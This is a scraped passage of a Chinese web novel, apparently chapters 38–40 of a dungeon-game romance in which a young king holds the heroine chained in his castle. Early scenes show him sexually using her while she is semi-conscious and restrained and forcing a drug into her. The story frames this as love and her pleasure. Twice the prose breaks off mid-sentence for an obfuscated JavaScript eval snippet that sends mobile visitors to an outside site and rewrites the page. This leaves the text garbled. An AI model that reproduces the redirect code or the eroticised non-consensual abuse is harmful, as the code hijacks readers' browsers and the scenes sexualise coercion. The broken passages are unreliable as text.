奢华昏暗的寝宫安静非常,只能听见壁炉里柴火燃烧的噼啪轻响,以及,一阵极其微弱的、咕叽咕叽的水声。 电流持续不断地从小腹蔓延至大脑,强迫她的思绪必须从一片黑暗的泥沼中奋力挣脱,呼吸开始变得越来越急促、激烈,虽是喘息,但听起来更像是粘稠的呻吟。 “唔……” 温初夏使出吃奶的劲儿,才终于勉强让双眼撑开一条缝隙。 长久未见光的眼球立刻感到了丝丝刺痛,生理泪水迅速沁了出来,把视线冲刷得扭曲又清晰。 头顶的水晶吊灯未开,屋内的唯一光源就是右手边的壁炉,橙红的火星子溅在碳化的木头上,旺盛的火焰将整个屋子烘得热气熏天,哪怕不穿衣服也不会觉得冷。 但这丛火焰并不怎么适合照明,整个寝宫除了壁炉旁边的一小块是完全明亮的之外,其余地方由近及远逐渐昏暗。 水晶灯的吊坠偶尔捕捉到一点残光,就把它碎成星子般的细芒,折射到天花板和四周的墙纸上,整个房间如同一场旖旎迷幻的奇梦。 我这是醒了,还是在梦里? 视线和脑筋一齐缓缓转动,她看见床尾坐着一个人。 跳动的火光将他俊美的面庞分割成阴阳两半,右边在明,左边在暗,令本就十分立体的五官变得更加凌厉深刻。 火焰也同样在他的瞳孔跳动,但灼热的温度并没有使他冷冰冰的心脏融化丝毫,周身仍萦绕着一股阴沉森冷的鬼气。 而自己的右腿,就架在他的肩上。 这个趁人之危的王八蛋…… 温初夏当即就想一脚踹时准脸上,奈何她现在连动动手指的力气都没有,甚至连眼睛也无法完全睁开,更别提踹人了。 只听“嘭”的一声轻响。 温初夏拼尽全力,却仅仅只是让右腿摔到了床单上,而已。 这一简单的动作耗干了她身体里残存的所有气力,四肢沉的像是绑了千万斤重的铁链,将她拖入温暖却黑暗的无边深海。 强烈的水压致使她几乎喘不过气,心脏猛烈地撞击着胸腔,挺立的尖端跟随心跳晃荡,像汹涌海面上两帆粉色的小舟。 见人真醒了,时准从床尾坐到她身边。 湿淋淋的手指抚上温初夏的脸颊,时准俯身,亲了亲她眼下那颗深棕色的泪痣,轻笑道: “刚才给你洗澡的时候你不醒,给你擦身体的时候你不醒,一让你舒服你就醒了,你呀……是很喜欢吗?喜欢的话就眨一下眼。” 闻言,温初夏瞪直双眼,坚决不眨一点。 “这个眼神是什么意思呢?”说着,时准又吻了一下她的额头,指尖点了点她的鼻尖。 从他眼底流露出的喜爱浓郁到了极致,跟爱猫人士第一次见到刚满月的小奶猫一样,抱住了就不肯撒手,时不时还要亲一亲、揉一揉,恨不得把她含在嘴里,吞入腹中。 温初夏依旧强忍着不眨眼。 时准始终用这样饱含爱意的眼神看着她,见她开不了口,就自作主张猜测她的意思:“哦,我知道了,是因为我没有让你到,所以你生气了,是不是?” “你……” 干哑的喉咙终于发出自晕迷以来的第一个音节,然而还不等温初夏继续骂下去,身体某处传来的强烈刺激便让她只能闭上双眼,咬紧牙关。 可五感偏又在这个时候逐渐明晰起来,眼皮之下,酸胀发烫的眼球吸满了生理泪水,从缝隙挤出后顺着太阳穴无声滑落。 那感觉如同凶猛的海浪,不断冲刷着敏感的神经末梢。 床单之上,白皙细长的双腿微微曲起,膝盖急切地想要贴到一起,却始终无法得偿所愿,原本绵软无力的脚趾紧紧抓着洁白的床单,手指也是。 鼻尖的呼吸愈急愈重,可嘴里却始终不肯泄露半个音节—— 直到另一只没干活的手捏了一把她的下颌,紧闭的齿关便轻易松懈开来,修长的食指探了进去,搅动着那节猩红湿润的舌。 “叫出来,夏夏。”时准在她耳边低语,“你声音这么好听,叫起来肯定会更好听的。” 温初夏不语,只是报复性地死死咬住这根皮肉远比骨头少的手指,企图让时准停止下流的举动。 但这人却像完全感觉不到痛般,动作依旧不停,温初夏泪流得越来越快,夹杂着血丝的口水从嘴角溢出。 细碎的呻吟和炉膛里火星爆裂的声音混在一起,传至寝宫的每一个角落。 时准亲亲她的耳廓,满意地微笑道:“对,就是这样,真好听。” …… 从大脑一片空白中回过神后,温初夏的思绪已完全恢复了正常,但身体却依旧是软绵绵的,连坐起来的力气都没有,两排肋骨因喘息太过剧烈而像风帆一般上下起伏。 等到急促的呼吸终于恢复了平复,时准又捏着温初夏的脸,将一个长颈细口的瓶子插进她嘴里。 瓶口直接深抵到了喉咙,里面的液体随重力滑落进喉管,温初夏没法用舌头判断味道,但能感觉到这东西很香,是一股浓郁的花香味儿,应该还挺好喝。 不过因为它是时准喂的,所以温初夏哽着脖子,忍住不滑动喉咙,玻璃瓶身里的水位线刚下降一点就卡住了。 但她不喝,时准有的是方法让她咽下去。 湿漉漉的掌心一下一下轻抚过温热的胸膛,滑腻的触感让温初夏很快就坚持不下去,喉咙控制不住地滑了一下,然后稀里糊涂地就把瓶子里的不明液体给喝光了。 咕噜咕噜咕噜,水位线下降的速度比冲马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时准离开后,房间门很快被再次打开,四位高鼻阔目典型欧洲长相的女仆推着餐车,走了进来。 她们先把一张小矮桌放在温初夏床上,然后将餐车里的食物都端了出来,各式各样的菜肴铺了满满一桌。 一上完菜,女仆们就转身去屏风之后的墙边站着,毕恭毕敬地等待温初夏吃完后,她们再来收拾,全程不发一言。 温初夏嘴皮子都磨破了,也没能让她们之中的哪个开口说一句话,无奈只能愤懑地开始干饭。 小巧的银勺舀完一块焦糖布丁,温初夏感觉吃了跟没吃一样,胃里还是空荡荡的,又打开一个白色瓷盅的盖子,看到里面居然是……汤圆??? 城堡的厨子还挺中西合璧啊。 温初夏换了把稍大一点的勺子,舀起一个汤圆放在倒置的盅盖里,对半切开,并没有在里面发现小纸条或者其他能传递信息的东西。 她把分尸的芝麻馅汤圆吃了,又舀一个,再切开。 一连试了四五个,都没有发现任何线索,温初夏觉得这就是一碗普通汤圆,于是把瓷盅端到桌沿离自己最近的地方,打算把剩下的也给吃完。 银勺搅动,六七个圆滚滚白乎乎的小团子浮在汤水表面,互相拥挤和翻滚,其中有一个还漏了馅,糯米皮外有一块指尖大的圆形黑点。 等等,这看起来好像……人的眼睛? 温初夏立刻将这颗特立独行的“汤圆”捞起来,正欲瞧个仔细,没想到“汤圆”却无端生出八条蜘蛛一样的小细腿来。 它跳下银勺,翻下小饭桌,然后顺着床单滚到床下,动作飞快地消失不见了。 温初夏:……yue! 39. 第 39 章 原本想要大快朵颐的晚餐,因一颗长得既像蜘蛛又像眼球的恶心汤圆而草草结束。 吃完后,女仆们前来收拾残局。 她们端走只动了不到四分之一的食物,撤走小餐桌,动作干脆又利索,全程低着头保持沉默,不管温初夏用汉语、英语、法语还是德语和她们搭话,都一声不吭地不理会,像是没有灵魂的机器人。 门轻轻合上,再上锁。 听见那一道“咔哒”声,温初夏就算没吃饱也给气饱了。 她晃了晃连在自己脖子上的铁链,链条击打在床头发出铛铛脆响,有点击鼓鸣冤那味儿。 趁着人还没走远,她大声控诉: “我人都被栓住了,你们还锁房间门干嘛?!我连门把手都碰不到!” “……” 不出意外,这句控告依旧没有得到任何回应。 安静的房间内,温初夏把自己用力地摔在床上,拿枕头捂住脸,视线一片黑暗,潮湿滚烫的呼吸困顿在鼻尖,肚子里也跟着燃起了火。 她是真没想到时准黑化后竟然做事这么绝,连和别人说话解闷的机会都不给她留,简直可恶! 还把她栓在屋里,铁链的长度只够她去阳台放风和去卫生间上厕所,这跟养小猫小狗有什么区别? 一生放浪不羁爱自由的温初夏表示,自己从没受过这种委屈,她势必要逃出去。 就算清楚这个副本最后大概率无法通关,她也绝不会让时准顺顺利利、心满意足地跟自己结成婚。 不搞出点天大的动静出来,她就不姓温! 而要想逃出去,首先要解决的第一件事,就是弄掉脖子上的镣铐。 温初夏翻遍了她能碰到的所有地方,都没有找到趁手的工具,只能退而求其次拿起床边柜上的小台灯,把铁链拖到可以隔音的地毯上,用同样也是金属制成的底座用力敲砸。 结果敲了五六下,她的虎口麻了,台灯的底座碎了,铁链却没有丝毫损伤,甚至连一丝划痕一点凹陷都没有。 靠! 时准是不是把栓龙的链子给她用了? 温初夏腿麻地站起来,把可怜的台灯放回原处,光脚在地毯上来来回回踱步,急切地思考着办法。 上次温初夏走这个副本的时候,担任的只是一个处于底层的炮灰角色。 城堡阶级森严,她接触不到上面的核心圈,只是隐约听别人说,抽到女王牌的玩家技能很强很变态,但因为人身自由严重受限,所以施展不出来,特别可惜。 温初夏当时还很不以为然,觉得既然系统敢安排女王牌昏睡这么长时间,就证明这个副本不是非她不可的,那她的技能应该也达不到“强的变态”的地步。 没想到日后竟会有被打脸的一天。 焦躁的脚步忽而停下。 温初夏抬起右手,刚才砸链子留下的红痕还未消失。 她用左手大拇指用力搓了搓,心里很清楚靠自己是绝对出不去的,得摇人。 见不到其他人,她的金手指就是个摆设。 …… 第二天早晨八点。 依旧是那四名女佣来给温初夏送早餐。 早餐同样很丰盛,摆了满满一桌,温初夏一向不喜欢吃全麦面包,这次却把盘子里的三片全啃了,将面包边角凹成“SOS”的形状。 光这样还不够,她又用抹面包的果酱在白瓷盘上写了个“囚”字,暗示有人被囚禁了,还把意大利面弄碎成一小段一小段,拼成名字缩写。 还好那女佣们都站在屏风后面,看不到她的这些小动作。 温初夏一边刀叉齐上阵地捣鼓求救信号,一边在心里祈祷,希望那群小姐少爷们能细心点儿、机灵点儿。 都暗示得这么明显了,老天求求了保佑他们一定要尽快顺藤摸瓜找到她的住处。 时间真的不多了,还有十四天就是婚礼日期,她要抓紧一切机会来搞破……不,做任务。 吃完后,温初夏用喷了香水的丝巾擦擦嘴,假装不经意地把丝巾盖在留了线索的白瓷盘上,以免被女佣发现——虽然她们也不一定看得懂。 女佣照旧是收拾完东西就走。 温初夏懒洋洋地靠在枕头上,耳朵听见她们推餐车离开的声音,然后是关门的声音,再然后是…… 等等! 温初夏一下子坐直起来,她们这回居然没锁门! 无数问号从她灵活的小脑瓜里喷涌而出。 为什么不锁?是因为忘记了,还是因为一会儿有人会进来? 如果是后者,那来的会是谁? 多半是时准吧。 想到这儿,温初夏又靠了回去,叹了口气,激动的情绪瞬间化作一滩死水。 昨天时准离开前有说过,今天会来陪她,但温初夏真的完全不想看见他那张虚伪的脸,表面柔情蜜意,内心却不知道藏了多少乱七八糟的阴暗想法。 她震惊一个人怎么能在短时间内,发生如此巨大的改变,从前那只温顺阳光的小绵羊仿佛仅存在于她的梦里,或是一道影子。 当一切的光明都通通消失后,这道影子也就不复存在了。 很快,没有上锁的房门被轻轻打开,但来者的脚步却并不是时准,更像是,一个鬼鬼祟祟的女人。 原本脑袋偏向阳台发呆的温初夏重新来了精神,她盘腿坐在床上,铁链下意识握在手中,看见从屏风后走出的人居然是……四位女佣中的一位。 对方长着一张毫无记忆点的路人脸:皮肤白、眉骨高、鹰钩鼻,但头发和眼睛都是黑色的,身材也偏瘦小,这两点倒是和亚洲女人相似。 “干嘛?”温初夏眼神疑惑且警惕地看着她,又四处扫了扫,用英语问:“是有东西忘记拿了吗?” 那女佣径直走到她床边,扭头瞄了眼,确保寝宫门是关着的之后,才用一双圆眼睛看着她,激动道:“是我啊!周雅宜!你没认出来吗?” “啊?”温初夏一听,大为震撼:“你、你什么时候变人种啦?” 她猜测:“还是这是你的技能吗??” “不,不是我的。”说着,周雅宜把脸上假鼻子假眉毛什么的都拿下来,是由肉色软硅胶制作的,其逼真程度绝对不是这个时代能有的工艺。 等全部摘完,恢复真容,周雅宜才又道:“是付子衿的技能,她能给人捏脸,但只能捏五官,改变不了发色和瞳色,所以我只能替代那个黑头发黑眼睛的女佣人。” “你们是怎么知道我在这儿的?”温初夏很好奇,表情肉眼可见地激动起来。 她的求救信号还没传递出去呢,救兵就已经到场了,而且她才刚醒来不到一天,这速度,简直快到让人觉得不可思议! 看来之前是她低估他们了,这群未成年高中生还是有点儿东西的。 她可能要收回“这个副本大概率没法通关”这句话了。 “靠昨晚你吃的那碗汤圆啊。” 周雅宜言简意赅:“小雪在城堡的厨房工作,昨天下午她临时接到管事通知,要给一个神秘客人做晚饭,她立刻猜到会不会是你,所以就做了碗汤圆,把刘文远的左眼放进去,神不知鬼不觉地一起送来,好知道你住……” “等一下。”温初夏忍不住打断,震惊道:“居然真的是眼珠子啊??!” 刚吃饱的她又有些想吐。 “是啊。”周雅宜点头,一本正经地说:“不过你放心,小雪说她是提前洗了三遍的,很干净。” 这不是重点啊妹妹…… 温初夏忍住想yue的冲动,用力咽了咽口水,舌根发酸地评价:“刘文远这技能,够恶心的啊。” “恶心怎么了,好用不就行了,跟可遥控的监控摄像头没区别。” 周雅宜见一向天不怕地不怕的温初夏脸色居然有些发白,忍不住笑了,说:“城堡戒备这么森严,到处都是在巡逻的盔甲士兵,要是没有刘文远这个技能,我们可能到现在都是懵的,不知道要干嘛。” “那其他人呢?”温初夏忙问,“大家都有哪些才艺?”这可关乎到她接下来的棋该往哪儿下。 周雅宜如数家珍:“小雪的技能是身体可以缩小成拳头大小;姜荞语是瞬时记忆,巨厚一本书,她只要翻一遍就能全部记下来;孟思华是位置转移,田南箫是迷晕别人……” 她讲一个,温初夏就在心里记一个。 但奇怪的是,周雅宜一连说了十几个人,却迟迟没有提到李确,也没有说她自己的技能是什么。 温初夏觉得不对劲,直接问:“那你和李确呢?” 此话一出,原本还分享欲爆棚的人忽然沉默起来。 这就更不对劲了,温初夏皱起眉。 周雅宜垂眸眨了眨眼,又深吸一口气,嗓音哽咽地说:“去年舞会那晚,时、时准忽然抽出一把剑杀掉了宋云泽,大家都吓傻了,不知道他为什么会这样做。然后宴会厅的大门就自动打开,从外面涌进来好多士兵,开始胡乱杀人,见人就砍。” “那些士兵很奇怪,外面是一层盔甲空壳子,里头就只有一张扑克牌,要想彻底弄死它们,就必须把里面的扑克牌撕碎才行,否则它们哪怕身体被打散了,也能自动拼回来,很难搞。” 温初夏假装自己是第一次知道,露出一个适当的惊讶表情。 “当时我和李确,我俩比较幸运,站的位置比较靠里,有时间逃跑。”说着说着,周雅宜眼眶逐渐泛红。 “李确拉着我跑到了二楼,刚好墙上挂着一副弓箭,他就一边护着我,一边拉弓,射穿了好几个盔甲士兵,我俩也是运气好,撑到了最后。” 听到这儿,温初夏真情实感地惊讶上了,飞快问:“所以你俩那晚上没死是吗?” “死了!”周雅宜没好气地翻了个白眼,“我们所有人里就你没死好不好。” 她没有注意到,自己潜意识里早已把时准排除在“自己人”的范畴之外了。 “我的意思是,我和李确是最后死的。”回想起当时的惨况,周雅宜仍旧会觉得心惊肉跳。 “他为了保护我挡在我前面,被刀砍死了,然后我很快也死了。第二天复活之后,我俩一起去找时准,想问个清楚,但时准他……” 周雅宜顿了顿,寻找一个合适的形容:“就像变了个人似的,和以前完全不一样,我甚至不敢看他的眼睛,连跟他同处一室都会觉得害怕,是那种打心底里觉得他这个人很危险的害怕。” “一开始我还以为他是失忆了,或者是被什么东西给控制住了,后来才慢慢发现,都不是,他就是……就是性情变了,和从前完全就是两个极端,冷的跟人形大冰块一样,而且,他居然还、还狠心把李确赶出去了!” “什么?”温初夏扬起眉,她不记得这个副本里有这段剧情啊,问:“他把他赶哪儿去了?” 怪不得周雅宜刚才不肯主动提起李确,原来李确根本就不在这里。 “我也不知道。”说到这里,周雅宜终于忍不住落下热泪,她握住温初夏放在鹅绒被上的右手,抽噎道: “之前图书馆里的那个酒保也在这里,他成了城堡的管家,我听他说,时准是把李确流放到南边一个无人的小岛了,离这里特别特别远,如果徒步的话要一年多才能走回来。并且时准一分钱都没给他,衣服啊行李什么的也不许他带走,我感觉时准就是想把他活活逼死……” 周雅宜越说越伤心,哭的肩膀都抽抽了,温初夏捏了捏她的手,宽慰道:“你别担心,李确他会没事的。” “你怎么知道他没事?” 周雅宜松开她,用袖子抹干脸上的眼泪,觉得温初夏又不能和自己感同身受,安慰的话也是无意义的风凉话。 所以她复杂的小情绪一下子就上来了,呛道: “你醒来后又没见过他,你又不知道他现在什么情况,过得怎么样,吃得好不好,还活着没有……” 说着,悲伤的泪水又吧嗒吧嗒掉下来,砸在被子上。 温初夏无辜被怼,忙抬起尔康手,张了张嘴,却没有出声。 她怎么不知道。她当然知道了。 只要有1107在,李确就不可能吃多大苦,更不会有什么生命危险。 但这些话她没法和周雅宜直说,所以只能憋屈地保持沉默,等她哭完这一阵后,才道: “把这一年你们做了哪些事,发现了哪些线索和我说一下吧。” 周雅宜也知道正事要紧,将悲伤暂且丢到脑后,吸吸鼻子,一五一十地说起来。 这个副本刚开始时,因为人生地不熟,再加上主心骨温初夏离奇失踪,同伴之一的时准成了反派,以及李确还被时准逐出去了,所有人都又懵又慌,六神无主。 大家分散在城堡的各个地方,你找不到我我看不见你的,稀里糊涂混乱了好些日子,才在周雅宜的带领下逐渐集结起来。 作为舞会那晚最后一位被杀掉的玩家,周雅宜不仅个人技能牛逼,在城堡的身份也处于上位圈,不用像其他人那样,还需要从事各种工作。 周雅宜是国王时准名义上的妹妹,这个国家的公主,有钱又有闲,可以自由出入城堡里许多地方,还能更轻易地接触到BOSS时准。 并且在上个界面,她的历史成绩一直是第一,刚好比较了解这个时代欧洲的历史背景和生活习俗,适应起来也比别人更快。 所以在温初夏醒来之前,周雅宜一直代替她,充当团队里主心骨的角色,带领大家寻找线索。 他们花了三个月时间,在偌大的城堡里无头苍蝇一样四处乱逛,边躲避盔甲士兵的监视,边一点一点搜寻线索,才终于弄清楚了第一件事,关于舞会那晚为什么会发生那起惨案。 藏书阁的最深处记载着一个古老的预言—— 年轻的国王因得知自己的未婚妻爱上了一位骑士,心生嫉妒,所以在一场宴会上拔剑将骑士刺死,又把未婚妻迷晕,直到婚期将近才重新将她唤醒。 为了推翻国王残暴的统治,城堡的客人们需要复活骑士,让他身穿盔甲,手拿盾牌和宝剑,在婚礼当天斩杀巨龙,救出差点成为王后的公主,两人从此幸福地生活在了一起。 由此可知,他们的主要任务有以下两个: 1.复活骑士。 2.帮骑士集齐装备。 周雅宜挑重点的讲:“去年快入冬的时候,我们找到了宋云泽的位置,他躺在一口水晶棺里,身体并没有腐烂,胸口的伤也愈合了,看起来像睡着了一样。” “那间屋子外面有重兵把手,我们之中,就只有刘文远的眼珠子从门缝里滚进去看过一回。” “我也有试过想把门打开,但每次一到门口就被盔甲士兵拦住了,去求时准也没用,所以我们只能转而先去找复活宋云泽的方法,同时去找他的盔甲宝剑还有盾牌。” “我们差不多又把整座城堡都翻了一遍,终于在今年开春之前,摸清楚了盔甲和盾牌分别藏在地牢和那条龙睡觉的地方,宝剑则藏在时准的寝宫里。” “现在前两个我们已经集齐了,但时准的寝宫是除了他自己之外谁也不让进的,所以宝剑暂时还没有拿到。” “就在你醒来的前一周,预言书的内容发生了变化,出现了一节诗。” 【白玫瑰在高塔的窗台飘曳, 它的刺太柔软,无法染红自己, 它的花瓣苍白,却替代不了月光, 风掠过,弱小的花枝摇摇晃晃。 它问:为什么我的颜色无人看见?】 周雅宜:“我前天晚上在城堡最西边那栋尖塔的顶层找到了诗里的白玫瑰,它居然一朵成了精可以说话的花!但因为我没有回答正确它的问题,它始终不愿意被我摘下来,我硬拔都没法拔……” 讲到这儿,周雅宜忽然止住嘴,兔子一样竖起耳朵听了一阵,皱眉低声道:“不好,有人来了,应该是时准。” 说完,就立刻跑去阳台。 温初夏压根没听到什么脚步声,懵逼间,只见身穿长裙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604661|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的周雅宜毫不顾及形象地高抬起一条腿,跨过白漆围栏,看样子是预备往下跳。 温初夏呼吸一滞:祖宗!这是六楼啊! 她赶紧去阳台把周雅宜拉回来,铁链发出哗哗的响动。 “你疯啦??!” “我当然没疯,你不知道,我摔不……” 直到这时,温初夏听到门把手转动的声音,才知道原来真是有人来了。 情急之下,她赶紧把周雅宜按倒在床右侧,用被子把人从头到脚盖住,接着自己坐在被子的一角,靠在枕头上,摆出一副云淡风轻的姿态,胸腔微微起伏地看着时准走进来。 他身穿一件纸浆白的衬衫,玳瑁袖扣随着走路时双臂自然的摆动而折射出细碎光芒,外面套着羊毛软呢的深灰大衣,硬挺的皮质筒靴踩在地板上,发出“哒哒”响声。 这脚步声不重,却足够让被窝里的人抖三抖。 温初夏只看了一眼,就挪开视线,冷漠道:“你来做什么?” “我昨天有说过,今天会来看你的。”时准在她左手边坐下,怜爱地摸了摸她柔顺黑亮的长发,那动作跟撸猫简直没区别。 他问:“早餐吃得好吗?” 温初夏忍住想要把他的手打飞的冲动,硬邦邦地回:“还行。” “只是还行吗?”时准忽然捏住她的下巴,强迫她和自己对视,“我觉得你应该是吃得很开心才对啊,不然怎么会用草莓酱在盘子上画画呢,我的小画家。” 温初夏:“……” 这个称呼,真是有够恶寒的。 小伎俩被拆穿,温初夏多少有些尴尬,垂眸看着时准系在衬衣外的深棕色皮带,不发一言。 见她不说话,捏着下巴的大拇指上移至嘴唇,用力揉拧,原本粉嫩的软肉变成潋滟的水红色。 温初夏忍不了了,把他作恶多端的手推开:“能别这样作践人吗?你真的很恶心。”就喜欢弄疼人。 但很遗憾,她没有做M的爱好。 人变冷了,脸皮也跟着变厚了,时准勾唇笑笑,说:“这句话你从前就已经骂过了,不如换点新鲜的来骂我?” 温初夏:“你……” 算了不说了,她算是知道了,只要自己搭理时准,无论态度好还是不好,他都会爽到。 好离谱一男的……诶诶往哪儿摸呢你! “夏夏。” 时准单手握住她纤细脆弱、仿佛一折就断的后颈,中指插入铁链的空隙,用最深情的眼神,说出最冰冷的威胁: “只要你肯乖乖听话,我保证会让你过上最舒适最快乐的生活。但如果你不听……” 缠绕着冰凉铁链的手顺着衣领滑入后背,抚摸过比丝绸还要光滑细腻的皮肤。 瞬间,一石激起千层浪,汗毛林立,鸡皮疙瘩爆起,强烈的快感以指尖为中心迅速蔓延至全身,连脚底都是苏麻的。 链条在她脊柱附近左右晃荡,像是摇摆的钟,冰冷的金属时不时擦过滚烫的皮肤,极端的温差感带来极度的刺激,冰火两重天。 温初夏浑身僵硬,一动也不敢动,只是克制地抽吸了两下空气,感觉身下某处已经湿热了。 那药这么猛的吗??!!! 她有点要碎掉,这还只是摸了摸背而已啊。 时准欣赏着温初夏忍耐的表情,心满意足地笑道:“你看,我有的是办法能让你听话,所以宝贝儿,千万别背着我偷偷摸摸搞什么小动作,尤其是这种……” 说着,他一把掀开旁边的被子,把脸朝下躺尸的周雅宜单手拎了起来,轻松的跟捉小鸡仔一样。 刚才的柔情蜜意瞬间变成了冷若冰霜。 “雅宜。”时准面无表情地看着她,声音冷的像冰块一样。 “我劝你下次最好换个地方躲猫猫,不然我很可能把你误认成其他什么人,那就危险了。” 他手松开,周雅宜面红耳赤地摔到床上,鼻子很疼,她忍住没叫出声。 “收拾收拾,和我一起去陪母后用早膳,你只有五分钟时间换掉这身可笑的行头。” 撂下这句话,时准轻柔地把铁链从温初夏睡裙里拿出来,一点没有扯到头发,然后摸摸她的脸颊,走了。 “什么情况?时准他妈也在这儿?” “是啊。”周雅宜爬起来,“我之后有机会再和你细说,现在我得赶紧回去换衣服,先走了啊!” “欸……” 人溜得太快,温初夏没能叫住她。 房间短暂热闹了一阵,又回归最初的冷清,温初夏低头看着自己的右手,神色若有所思。 十分钟后。 厚重的橡木门吱呀打开,又闭合。 “母后。” 见人来了,时准从长桌的主位站起身,微微颔首,语气恭敬,但并没有微笑。 他礼节性地问候:“您昨晚睡得好吗?” 林茵陈身着一件素雅又不失高贵的浅色长裙,手指圈着戒指,颈间戴着宝石,浑身上下从头发丝精致得体到了脚尖,后面跟着两位仆从。 她的面容依旧那么温婉动人,就是脸色十分难看,眼下挂着两缕愁恼的黑眼圈,破坏了她原本的温柔如水的淡雅气质。 “不好,怎么会好。” 因为长时间没休息好,林荫陈的嗓音有些粗,开口第一句就是埋怨:“你这些日子每天都忙着筹备你的婚礼,全然不再管你妹妹的事情,我看你简直是昏了头了!” 见林茵陈落座后,时准才又坐下,用刀叉切割着一枚黄澄澄的溏心煎蛋,平静道:“我说过,时淼她不是失踪,而是嫁去北方的国家了,路途遥远,所以你这辈子都不会再见到她。” “你撒谎!”林茵陈用充满血丝的双眼看着他,额间隐隐跳动的青筋表明,她现在情绪很不稳定。 “我派人去打听过了,那个国家的三个王子都没有结婚,国王六十多岁刚死了妻子,淼淼根本没有嫁过去,一定是你,是你把她藏起来了!” 时准:“我没有。” “你就有!”林荫陈拍案而起,厉声质问:“你到底把我女儿藏哪儿去了?” “……” 见时准沉默着不回答,林茵陈愤怒憋闷到了极点,颤抖的指尖指向对面的周雅宜,两行热泪唰地落了下来。 她颤抖地控诉:“为了敷衍我,你居然还找了这么个冒牌货来,说她以后就是我的女儿,我有这么好敷衍吗?你当我是傻的吗?!” 林茵陈用力拍了两下桌面,桌上的瓷盘银叉震响。 她悲怆地哭出声:“淼淼可是我的亲女儿,你的亲妹妹啊,你怎么忍心不去找她,怎么忍心……你还不如去死!死了算了!!” 毫无预兆地,林荫陈猛地抓起手边的刀叉,疯了一样,朝时准用力掷去。 周雅宜大惊失色。 “哐当——” 刀尖划破脸颊,又重重掉落到地板上。 温热的血液从眼下的半寸伤口沁出,凝成圆润饱满又无比鲜艳的一滴,顺着苍白的皮肤垂垂落下后,在洁白的餐桌布上绽成嫣红的一朵。 周雅宜赶紧起身挡在时准侧边,一激动就有些口不择言:“林姨……不不,母后!你怎么能这么对哥哥呢?这多危险啊,差点儿就伤到他眼睛……” 但林茵陈对她,比对时准还要更不待见一万倍。 “你闭嘴!谁是你母后?你是谁女儿?我不认你这个冒牌货,我永远也不会认!我只要我的淼淼!” 又转向时准:“你不帮我找,好,那我就自己找!只要我还活在这世上一天,我就会一直找下去,不管你把她藏在哪里,我总会找到她的。” “在我心里,你连淼淼的一根手指头都比不上,没有任何人能代替她在我心中的位置,你记住了。” 桌上的碗碟餐具被林荫陈愤怒地一扫而光,地面炸起霹雳哐啷的巨响,像放鞭炮一样。 周雅宜耸起肩膀,捂住耳朵,回头看着时准戾气十足、冷到能滴水的俊美侧颜,大气不敢出。 40. 第 40 章 午夜时分。 月明星稀,万籁俱寂。 夜幕之下,占地广阔的城堡像一只横卧在黑暗中的巨兽,正沉沉鼾睡,宁静安详的表象下面,隐藏着无数未知的挑战和危险。 六层阳台的玻璃门被悄然打开,一道纤细的身影跨过围栏,于高空中纵身一跃,首先落到三层的平台上,然后再抱住旁边的旗杆,一路下滑到楼外的草坪,整个过程连贯且丝滑。 呼—— 温初夏小声地呼出口气,拍拍手上的灰。自由的感觉真好,连空气都变清新了呢! 话说周雅宜的技能是真的好用,身体各项素质直接拉满,无论是徒手掰铁链,还是无绳跳高楼都不在话下。 下回还复制她的! 没错,复制,就是女王牌的技能。 只要和玩家握个手,温初夏就能在握手后的24小时内拥有对方的技能,每次只能复制一个人。 此刻正值深夜,城堡的绝大部分人早已结束白天的繁忙工作,进入梦乡。 但对于她这个已经在梦乡里呆了快一年的人来说,夜晚才是她的主场。 按照周雅宜白天说的,温初夏一路躲避过巡逻的盔甲士兵,来到整座城堡的最西侧,果然看到了一栋黑漆漆的尖塔。 门是堵住的,强行踹开闹出的动静会很大,所以要想上去,只能靠爬。 温初夏从腰后拿出两柄银刀,是她吃晚餐时偷偷留下的。 虽然这两把小刀看起来很娇弱,像没有满月就被拉出来工作了一样。 但因为温初夏人轻,复制了周雅宜的技能之后手臂力量暴涨,她把刀尖插入石壁缝隙,手握住刀柄,双脚很轻易就离开了地面。 半小时后,她来到塔顶,出了一身凉凉的薄汗。 高处的空气又冷又湿,皎洁清亮的月光穿过残破的石窗,落在阁楼里那朵白玫瑰上。 它的花瓣层层叠叠舒展着,最外层泛着冷冽的银辉,向内渐次晕染出象牙白与乳白。 每片花瓣都薄得近乎透明,叶脉的经络如同冰裂纹,边缘微微卷曲,花心处蜷着未绽的金黄花蕊。 无比娇嫩,又无比脆弱。 温初夏来时经过了之前那座玫瑰园,惊讶地发现里面竟然没有一朵花,连灌木丛都枯的,干涸的喷泉池里满是污垢,像是荒废了许久的样子。 所以这朵白玫瑰,应该是城堡里唯一的一朵玫瑰花。 温初夏从石窗脸盆大的缝隙中钻了进去,落在爬满青苔的地上,差点摔个屁股墩儿。 她把银刀收回腰后,看见这朵泛着珍珠贝母光泽的玫瑰在月光下微微收敛起花瓣,又慢慢舒展开,样子很像是人在叹气。 果然,下一秒,它就忧愁道:“世界上有那么多种颜色的玫瑰花,红玫瑰热烈,粉玫瑰可爱,蓝玫瑰高贵,黑玫瑰神秘。可我为什么偏偏却是白色的,就像一张无聊的白纸,没有人愿意欣赏我,也没有人能够读懂我。” 温初夏:“……” 哦,明白了,孤芳自赏是吧。 她来到白玫瑰面前,蹲下,柔声说:“我愿意欣赏你啊,我也能读懂你。” 白玫瑰微微抬起头,娇滴滴的生意不怎么相信地问:“那你说说,你读懂了我什么?” 温初夏清了清嗓,情真意切道: “你很特别,你和我见过的玫瑰都不一样,你给我一种疏离感,很孤独的感觉,若即若离,我听过很多花说自己孤独,但我觉得你的孤独才是真正的孤独。” 